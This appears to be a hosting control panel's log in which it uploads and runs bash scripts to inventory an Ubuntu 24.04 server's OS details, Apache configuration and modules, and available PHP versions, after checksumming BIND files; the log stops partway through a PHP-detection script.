MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:54:39: Establishing a connection
2026-04-20 18:54:47: Establishing a connection
2026-04-20 18:54:48: Performing Server Status
2026-04-20 18:54:48: 

PUT: /tmp/pkp486330

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 18:54:48: 

chmod 755 /tmp/pkp486330; /tmp/pkp486330; rm /tmp/pkp486330

2026-04-20 18:54:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		512		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-20 18:54:49: 

PUT: /tmp/pkp163303

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-20 18:54:49: 

chmod 755 /tmp/pkp163303; /tmp/pkp163303; rm /tmp/pkp163303

2026-04-20 18:54:49: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1611534
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root     1611534  0.0  0.2 322956 48104 ?        Ss   18:51   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-04-20 18:54:49: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'stoughton',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-04-20 18:54:49: 

PUT: /tmp/pkp299276

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-20 18:54:50: 

chmod 755 /tmp/pkp299276; /tmp/pkp299276; rm /tmp/pkp299276

2026-04-20 18:54:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-20 18:54:50: 

PUT: /tmp/pkp824709

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
